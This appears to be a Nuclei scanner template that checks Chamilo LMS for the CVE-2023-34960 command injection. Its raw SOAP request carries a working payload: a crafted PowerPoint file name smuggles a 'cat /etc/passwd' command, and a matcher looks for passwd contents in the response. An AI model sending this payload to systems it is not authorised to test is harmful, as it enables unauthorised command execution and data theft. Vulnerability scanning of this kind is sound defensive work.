63 lines
3.0 KiB
YAML
63 lines
3.0 KiB
YAML
id: CVE-2023-34960
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info:
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name: Chamilo Command Injection
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author: DhiyaneshDK
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severity: critical
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description: |
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A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS.
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reference:
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- https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
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- https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
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- http://chamilo.com
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- http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html
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- https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-34960
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cwe-id: CWE-77
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epss-score: 0.93314
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epss-percentile: 0.99067
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cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
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metadata:
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verified: "true"
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max-request: 1
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vendor: chamilo
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product: chamilo
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shodan-query:
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- http.component:"Chamilo"
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- http.component:"chamilo"
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- cpe:"cpe:2.3:a:chamilo:chamilo"
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tags: cve,cve2023,packetstorm,chamilo
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http:
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- raw:
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- |
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POST /main/webservices/additional_webservices.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml; charset=utf-8
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<?xml version="1.0" encoding="UTF-8"?>
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<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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- type: word
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part: header
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words:
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- text/xml
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100c39406182802fe8b9ffa065f62e7be3e481669903d495a6949fb9b4cf5c3fa8802205791c3506012ccf296d6dae5ddf44dee9f869f2b7eec108a352c0ec94274c48b:922c64590222798bb761d5b6d8e72950 |